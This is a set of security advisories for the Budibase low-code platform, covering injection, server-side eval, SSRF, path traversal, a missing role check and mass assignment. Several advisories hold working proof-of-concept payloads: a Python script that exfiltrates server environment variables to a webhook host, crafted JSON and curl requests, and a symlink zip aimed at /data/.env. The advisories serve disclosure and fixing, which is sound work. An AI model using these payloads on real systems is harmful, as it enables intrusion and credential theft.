Where
-Infinity
0
Severity
10
SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary

enrichContext at packages/server/src/sdk/workspace/queries/queries.ts:121-138 substitutes parameter values into the raw JSON body of a query, then JSON.parses the result. The validator validateQueryInputs at packages/server/src/api/controllers/query/index.ts:61-71 rejects only Handlebars markers ({{, }}) in user input and does not escape JSON metacharacters (", \, }). A parameter value containing a closing quote and additional keys lifts attacker-controlled fields into the parsed filter object.

For Mongo find, the parsed filter passes directly to collection.find() (packages/server/src/integrations/mongodb.ts:506-510). Duplicate-key JSON parsing overrides the builder's {name: "..."} with {name: {$exists: true}} and returns every document. The same primitive against an updateMany query (mongodb.ts:577-585) widens the filter scope to the full collection while the builder-controlled $set body runs against every matched document.

The authorized middleware at packages/server/src/middleware/authorized.ts:141-148 short-circuits when the query's role is PUBLIC. CSRF is not enforced on this path. POST /api/v2/queries/:queryId (packages/server/src/api/routes/query.ts:63) accepts the call with no session, only an x-budibase-app-id header that is public from the published-app URL.

Result: an unauthenticated visitor of any published Budibase app reads every document of the backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection and, where the builder has published a PUBLIC write query, modifies every document of that collection with one HTTP request.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable on any deployment where a workspace builder has set the role of a non-SQL query (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with bodyType=json) to PUBLIC and published the app. This is the canonical low-code public-form use case.

SQL datasources (Postgres, MySQL, MSSQL, Oracle, MariaDB) route through interpolateSQL and are not affected.

Root cause

packages/server/src/sdk/workspace/queries/queries.ts:121-138: processStringSync(fields[key], parameters, {noEscaping: true, noHelpers: true}) writes the raw parameter value into the JSON-body string with no JSON-string escape; the followup JSON.parse(enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody) lifts the substituted text into the integration filter object.

packages/server/src/api/controllers/query/index.ts:61-71: validateQueryInputs only rejects values where findHBSBlocks(value).length !== 0 (Handlebars markers) and ignores JSON metacharacters.

packages/server/src/integrations/mongodb.ts:506-510: collection.find(json) receives the user-controlled filter object directly with no key prefix or operator allow-list.

packages/server/src/integrations/mongodb.ts:577-585: collection.updateMany(json.filter, json.update, json.options) accepts the templated filter without verifying that the substituted filter still matches the builder's intent.

packages/server/src/middleware/authorized.ts:141-148: if (resourceRoles.includes(roles.BUILTINROLEIDS.PUBLIC)) return next() skips both authentication and CSRF.

packages/server/src/integrations/queries/sql.ts:29-122: interpolateSQL rewrites every {{ binding }} to a positional bind placeholder ($N or ?). The SQL leg is bind-parameterised; the JSON leg is not.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container, default config. Builder logs in once, creates a MongoDB datasource, creates a query GetUserByName with body { "name": "{{ name }}" }, sets the query role to PUBLIC, and publishes the app.

1. Anonymous client sends the inject payload to the read query.

http POST /api/v2/queries/<read-queryId> HTTP/1.1 Host: <budibase-host> x-budibase-app-id: <published-appId> Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}

json {"data":[ {"id":"...","name":"alice","secret":"alice-secret-flag"}, {"id":"...","name":"bob","secret":"bob-secret-flag"}, {"id":"...","name":"admin","role":"admin","secret":"ADMIN-SUPER-SECRET-FLAG"} ]}

2. Builder publishes a second query TouchUser (verb update, action updateMany, body { "filter": { "name": "{{ name }}" }, "update": { "$set": { "touched": true } } }, role PUBLIC). Anonymous client sends the same inject pattern.

http POST /api/v2/queries/<updateMany-queryId> HTTP/1.1 Host: <budibase-host> x-budibase-app-id: <published-appId> Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"esc"}}

json {"data":[{"acknowledged":true,"matchedCount":3,"modifiedCount":3,"upsertedId":null,"upsertedCount":0}]}

Live-verified: against Budibase v3.39.0 on 2026-05-20, anonymous read returned every document including ADMIN-SUPER-SECRET-FLAG; anonymous updateMany reported matchedCount: 3, modifiedCount: 3 against a 3-document collection where the builder's filter intended name = "x".

Impact

- Anonymous read of every document in any backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection reachable through a PUBLIC query, including columns the published query was not designed to return (passwordhash, secret, apitoken, mfasecret). - Anonymous modification of every document of that collection where the builder has published a PUBLIC update, delete, or aggregate query, beyond the builder's intended single-document scope. - One HTTP request, no session, no CSRF, no user interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
EPSS
0.07%
Input Validation, Code Injection, XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Summary

A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.

The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNALAPIKEY, JWTSECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.

Details

Root Cause

File: packages/server/src/db/inMemoryView.ts:28

javascript export async function runView( view: DBView, calculation: string, group: boolean, data: Row[] ) { // ... let fn = (doc: Document, emit: any) => emit(doc.id) // BUDI-7060 -> indirect eval call appears to cause issues in cloud eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)")) // UNSAFE EVAL // ... }

Why Only Cloud is Vulnerable:

File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221

typescript if (env.SELFHOSTED) { // Self-hosted: Uses native CouchDB design documents - NO EVAL response = await db.query(database/${viewName}, { includedocs: !calculation, group: !!group, }) } else { // Cloud: Uses in-memory PouchDB with UNSAFE EVAL const tableId = viewInfo.meta!.tableId const data = await fetchRaw(tableId!) response = await inMemoryViews.runView( // <- Calls vulnerable function viewInfo, calculation as string, !!group, data ) }

The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.

Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.

Attack Flow

1. Authenticated user creates a table view with custom filter 2. Frontend sends POST request to /api/views with malicious payload in filter value 3. Backend stores view configuration in CouchDB 4. When view is queried (GET /api/views/{viewName}), runView() is called 5. Malicious code is eval()'d on server - RCE achieved

Exploitation Vector

The vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:

Malicious filter value: javascript x" || (MALICIOUSCODEHERE, true) || "

This payload: - Closes the expected string context with x" - Uses || (OR operator) to inject arbitrary code - Returns true to make the filter always match - Closes with || "" to maintain valid syntax

Verified on Production

Tested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed: - Achieved RCE on app-service pod (hostname: app-service-5f4f6d796d-p6dhz, Kubernetes, eu-west-1) - Extracted process.env - confirmed presence of platform secrets (JWTSECRET, INTERNALAPIKEY, COUCHDBURL, MINIOACCESSKEY, etc.) - Used extracted COUCHDBURL credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact - Queried users table to confirm data is readable (retrieved email addresses) - Uploaded an HTML file as a PoC artifact to confirm write access.

Proof of Concept

PoC Script

python import requests, time from urllib.parse import urlparse

Config | CHANGE THESE URL = "https://[YOUR-TENANT].budibase.app" WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]" JWT = "[YOUR-JWT-TOKEN]" # budibase:auth cookie value APPID = "appdev[TENANT][APP-UUID]" # x-budibase-app-id header TABLEID = "[YOUR-TABLE-ID]" # any table ID (e.g. tausers)

Payload - parses hostname/path from WEBHOOK automatically webhookparsed = urlparse(WEBHOOK) view = f"RCE{int(time.time())}" payload = f'''x" || (require('https').request({{hostname:'{webhookparsed.hostname}',path:'{webhookparsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''

Exploit s = requests.Session() s.cookies.set('budibase:auth', JWT) s.headers.update({"x-budibase-app-id": APPID, "Content-Type": "application/json"})

print(f"[] Creating view...") s.post(f"{URL}/api/views", json={"tableId": TABLEID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})

print(f"[] Triggering RCE...") s.get(f"{URL}/api/views/{view}")

print(f"[+] Done! Check: {WEBHOOK}")

Video Demo https://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99

Reproduction Steps

1. Prerequisites: - Create free Budibase Cloud account at https://budibase.app - Create a new app - Create a table with at least one text field

2. Exploitation: - Copy the PoC script above - Replace placeholders with your tenant URL, app ID, table ID - Get your JWT token from browser cookies (budibase:auth) - Create a webhook at https://webhook.site for exfiltration - Run the script: python3 budibasercepoc.py

3. Verification: - Check webhook.site - you'll receive all server environment variables - Extracted data includes JWTSECRET, INTERNALAPIKEY, database credentials

Additional Note

The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).

Responsible Disclosure Statement

This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:

- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable - The PoC HTML file uploaded to confirm write access is benign - This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place - Before any public disclosure, this report must be redacted/simplified - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

1. Summary

| Field | Value | |-------|-------| | Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | Product | Budibase | | Version | 3.30.6 (latest stable as of 2026-02-25) | | Component | REST Datasource Integration + Backend-Core Blacklist Module | | Severity | Critical | | Attack Vector | Network | | Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | User Interaction | None | | Affected Deployments | All self-hosted instances without explicit BLACKLISTIPS configuration (believed to be the vast majority) |

---

2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLISTIPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.

This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer

---

3. Root Cause Analysis

3.1 Blacklist Implementation

File: packages/backend-core/src/blacklist/blacklist.ts

typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLISTIPS // ← reads BLACKLISTIPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array }

// Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise<boolean> { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes }

Problem: When BLACKLISTIPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLISTIPS

File: hosting/.env (official Docker Compose deployment template)

env MAINPORT=10000 APIENCRYPTIONKEY=testsecret JWTSECRET=testsecret MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase COUCHDBPASSWORD=budibase COUCHDBUSER=budibase REDISPASSWORD=budibase INTERNALAPIKEY=budibase ... (19 other variables) BLACKLISTIPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch

3.4 Authorization Model

| Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | POST /api/datasources | BUILDER (app-level) | | Create query | POST /api/queries | BUILDER (app-level) | | Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |

Route definitions: - packages/server/src/api/routes/datasource.ts:19 → builderRoutes - packages/server/src/api/routes/query.ts:33 → builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBALBUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.

---

4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read: - All CouchDB databases (/alldbs) - User credentials including bcrypt password hashes, email addresses (/global-db/alldocs?includedocs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss

4.3 Availability — Medium

- Resource exhaustion by making the server proxy large responses from internal services - Database destruction via CouchDB DELETE operations - Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network

---

5. Proof of Concept

5.1 Environment Setup

bash cd hosting/ docker compose up -d Wait for services to start Create admin account via POST /api/global/users/init Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth=<sessiontoken> x-budibase-app-id: <appid>

{ "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } }

Response (201 — datasource created successfully): json { "datasource": { "id": "datasource4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } }

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

http POST /api/v2/queries/<queryid> HTTP/1.1

Response — Internal CouchDB data returned to the attacker: json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "gitsha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" }

5.4 Step 3 — Enumerate All Databases

Query: GET /alldbs with CouchDB admin credentials (from .env: budibase:budibase)

json { "data": [ {"value": "replicator"}, {"value": "users"}, {"value": "appdev3eeb8d7949074250ae62f206ad0b61a5"}, {"value": "appdev5135f7f368bc4701a7f163baaf22f1b7"}, {"value": "global-db"}, {"value": "global-info"} ] }

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/alldocs?includedocs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash: json { "data": [{ "totalrows": 4, "rows": [ { "id": "configsettings", "doc": { "id": "configsettings", "type": "settings", "config": { "platformUrl": "http://localhost:10000", "uniqueTenantId": "23ba9844703049778d75372e720c7169default" } } }, { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "doc": { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "email": "admin@test.com", "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK", "builder": {"global": true}, "admin": {"global": true}, "tenantId": "default", "status": "active" } }, { "id": "usagequota", "doc": { "id": "usagequota", "quotaReset": "2026-03-01T00:00:00.000Z", "usageQuota": {"apps": 2, "users": 1, "creators": 1} } } ] }] }

Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage): Datasource URL: http://minio-service:9000 Response: {"Code":"BadRequest","Message":"An unsupported API call..."} Server header: MinIO Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning): Datasource URL: http://redis-service:6379 Response: "fetch failed" (Redis speaks non-HTTP protocol) Different error from non-existent host → confirms service discovery capability.

Non-existent service: Datasource URL: http://nonexistent-service:12345 Response: "fetch failed"

5.7 Service Discovery Matrix

| Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access | | MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access | | Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open | | Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |

This differential response enables internal network mapping.

---

6. Attack Scenarios

Scenario A: Builder User Steals All Credentials 1. User has Builder role for one app 2. Creates REST datasource → http://couchdb-service:5984 3. Queries global-db to get all user records with password hashes 4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation) 1. Attacker has Creator role (lower than Builder) 2. Exploits CVE-2026-25040 to invite themselves as Admin 3. Now has Builder access → exploits this SSRF 4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure) 1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/ 2. Retrieves IAM credentials, instance metadata 3. Pivots to cloud infrastructure

---

7. Affected Code Paths

User Request │ ▼ POST /api/datasources [BUILDER permission] │ packages/server/src/api/routes/datasource.ts:32 │ → No URL validation on datasource.config.url ▼ POST /api/v2/queries/:queryId [QUERY WRITE permission] │ packages/server/src/api/routes/query.ts:63 ▼ packages/server/src/threads/query.ts │ → Executes query via REST integration ▼ packages/server/src/integrations/rest.ts │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list) │ Line 708: fetch(url, input) → unrestricted request ▼ Internal Service (CouchDB, MinIO, Redis, etc.) │ ▼ Response returned to attacker via query results

---

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

typescript // packages/backend-core/src/blacklist/blacklist.ts

const DEFAULTBLOCKEDRANGES = [ "127.0.0.0/8", // localhost "10.0.0.0/8", // RFC1918 "172.16.0.0/12", // RFC1918 "192.168.0.0/16", // RFC1918 "169.254.0.0/16", // link-local / cloud metadata "0.0.0.0/8", // current network "::1/128", // IPv6 localhost "fc00::/7", // IPv6 private "fe80::/10", // IPv6 link-local ]

export async function isBlacklisted(address: string): Promise<boolean> { // Always check against default blocked ranges // even when BLACKLISTIPS is not configured const ips = await resolveToIPs(address) for (const ip of ips) { if (isInRange(ip, DEFAULTBLOCKEDRANGES)) { return true } } // Then check user-configured blacklist // ...existing logic... }

Fix 2 (High): Validate Datasource URLs at Creation Time

typescript // packages/server/src/api/controllers/datasource.ts

async function save(ctx) { const { config } = ctx.request.body.datasource if (config?.url) { if (await blacklist.isBlacklisted(config.url)) { ctx.throw(400, "Cannot create datasource targeting internal network") } } // ... existing logic }

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Budibase is an open-source low-code platform. Prior to 3.38.2, packages/worker/src/api/routes/global/scim.ts attaches only two middlewares to the SCIM router: requireSCIM (checks the Enterprise feature flag and SCIM config) and doInScimContext (sets the SCIM request context). There is no role check. Any authenticated user who reaches the worker (BASIC role, workspace-scoped builder, anyone) can call SCIM endpoints and CRUD every user and group in the tenant. This vulnerability is fixed in 3.38.2.

First published (updated )
Severity
9.6
EPSS
0.03%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In 3.31.5 and earlier, a path traversal vulnerability in the PWA (Progressive Web App) ZIP processing endpoint (POST /api/pwa/process-zip) allows an authenticated user with builder privileges to read arbitrary files from the server filesystem, including /proc/1/environ which contains all environment variables — JWT secrets, database credentials, encryption keys, and API tokens. The server reads attacker-specified files via unsanitized path.join() with user-controlled input from icons.json inside the uploaded ZIP, then uploads the file contents to the object store (MinIO/S3) where they can be retrieved through signed URLs. This results in complete platform compromise as all cryptographic secrets and service credentials are exfiltrated in a single request.

First published (updated )
Severity
9.6
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

The webhook trigger endpoint in Budibase is publicly accessible and passes the full HTTP request body into automation execution parameters. A mass assignment vulnerability in externalTrigger() allows an attacker to overwrite the internal appId property by including it in the webhook POST body. When the automation is processed asynchronously (the default path for webhooks without a collect step), the worker executes the attacker-defined automation in the context of the victim's workspace, granting full read/write access to the victim's database.

Details

The webhook trigger route is registered as a public endpoint with no authentication:

typescript // packages/server/src/api/routes/webhook.ts:12 publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The controller passes the raw request body as fields alongside the server-derived appId:

typescript // packages/server/src/api/controllers/webhook.ts:142-148 await triggers.externalTrigger(target, { fields: { ...ctx.request.body, // attacker-controlled body: ctx.request.body, }, appId: prodAppId, // server-controlled })

In externalTrigger(), for webhook-triggered automations, params.fields is spread back into params:

typescript // packages/server/src/automations/triggers.ts:237-241 params = { ...params, // appId: prodAppId (server-controlled) ...params.fields, // appId: VICTIMID (attacker-controlled, overwrites above) fields: {}, }

Because params.fields is spread after params, any key in the attacker's body overwrites the corresponding property in params. An attacker including "appId": "appVICTIMWORKSPACEID" in the POST body overwrites the legitimate, server-derived appId.

The contaminated params become data.event and are queued asynchronously:

typescript // packages/server/src/automations/triggers.ts:244,271 const data: AutomationData = { automation, event: params } // ... return quotas.addAction(() => automationQueue.add(data, JOBOPTS))

The async worker uses job.data.event.appId to set the workspace context:

typescript // packages/server/src/threads/automation.ts:917,929-930 const workspaceId = job.data.event.appId // attacker-controlled // ... return await context.doInAutomationContext({ workspaceId, // victim's workspace automationId, task: async () => { / automation steps run here / } })

The synchronous path (for webhooks with a collect step) correctly overwrites appId at triggers.ts:264: typescript data.event = { ...data.event, appId: context.getWorkspaceId(), // server-controlled fix automation, }

This proves the developers intended appId to be server-controlled but missed applying the same fix to the async path, which is the default for all webhooks without a collect step.

PoC

Prerequisites: Attacker has builder access to their own Budibase workspace and knows a victim workspace ID (format: app<uuid>).

Step 1: Attacker creates an automation in their own workspace with a webhook trigger and data-exfiltration steps (e.g., Query Rows → Execute Script to send data externally).

Step 2: Attacker creates a webhook for that automation and notes the webhook URL: POST /api/webhooks/trigger/<ATTACKERINSTANCE>/<WEBHOOKID>

Step 3: Attacker triggers the webhook with the victim's workspace ID injected into the body:

bash curl -X POST https://budibase.example.com/api/webhooks/trigger/appATTACKERID/whWEBHOOKID \ -H 'Content-Type: application/json' \ -d '{"appId": "appVICTIMWORKSPACEID", "normalData": "test"}'

Expected result: The automation defined in the attacker's workspace executes in the context of the victim's workspace. All database operations (Query Rows, Create Row, Delete Row, Execute Script, etc.) operate on the victim's data.

Additional overridable fields via the same mechanism: - timeout (automation.ts:443-444): override automation execution timeout - user (automation.ts:413,435): set user context for automation steps - metadata.automationChainCount (automation.ts:293): bypass chain depth limits

Impact

An attacker with builder access to their own Budibase workspace can execute arbitrary automations (of their own design) in the context of any other workspace on the same Budibase instance, provided they know the victim's workspace ID. This enables:

- Full data exfiltration: Query Rows steps read all tables in the victim's workspace - Data manipulation: Create Row, Update Row, Delete Row steps modify victim data - Arbitrary code execution in victim context: Execute Script steps run JavaScript with access to victim's environment variables and database - Cross-tenant boundary violation: In multi-tenant deployments (Budibase Cloud), the tenant ID is derived from the workspace ID, so the attack crosses tenant boundaries

The attack requires no authentication (the webhook endpoint is public) and leaves minimal audit trail since the automation execution is attributed to the attacker's automation definition but runs in the victim's context.

Recommended Fix

In packages/server/src/automations/triggers.ts, apply the same appId fix that exists in the synchronous path to the async path as well. The fix should ensure appId is always server-controlled before queuing:

typescript // packages/server/src/automations/triggers.ts:244-272 const data: AutomationData = { automation, event: params }

// ... trigger filter check ...

+ // Ensure appId is always server-controlled, not user-supplied + data.event.appId = context.getWorkspaceId()

if (getResponses) { data.event = { ...data.event, appId: context.getWorkspaceId(), automation, } return quotas.addAction(() => executeInThread({ data } as AutomationJob, { onProgress }) ) } else { return quotas.addAction(() => automationQueue.add(data, JOBOPTS)) }

Alternatively, use an allowlist approach for the webhook field spread to prevent any internal property from being overwritten:

typescript // packages/server/src/automations/triggers.ts:237-241 const { appId, timeout, user, metadata, ...safeFields } = params.fields params = { ...params, ...safeFields, fields: {}, }

1 / 2
Source: GitHub
First published (updated )
Severity
9.6
Path Traversal, CSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWTSECRET, INTERNALAPIKEY, MINIO, REDISPASSWORD, COUCHDBPASSWORD, DATABASEURL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.

bash mkdir attack && cd attack ln -s /data/.env evil.png printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \ -b cookies.txt \ -H "x-budibase-app-id: <appId>" \ -H "x-csrf-token: <CSRF>" \ -F "file=@attack.zip"

json {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}

2. Builder fetches the resulting "icon".

http GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>

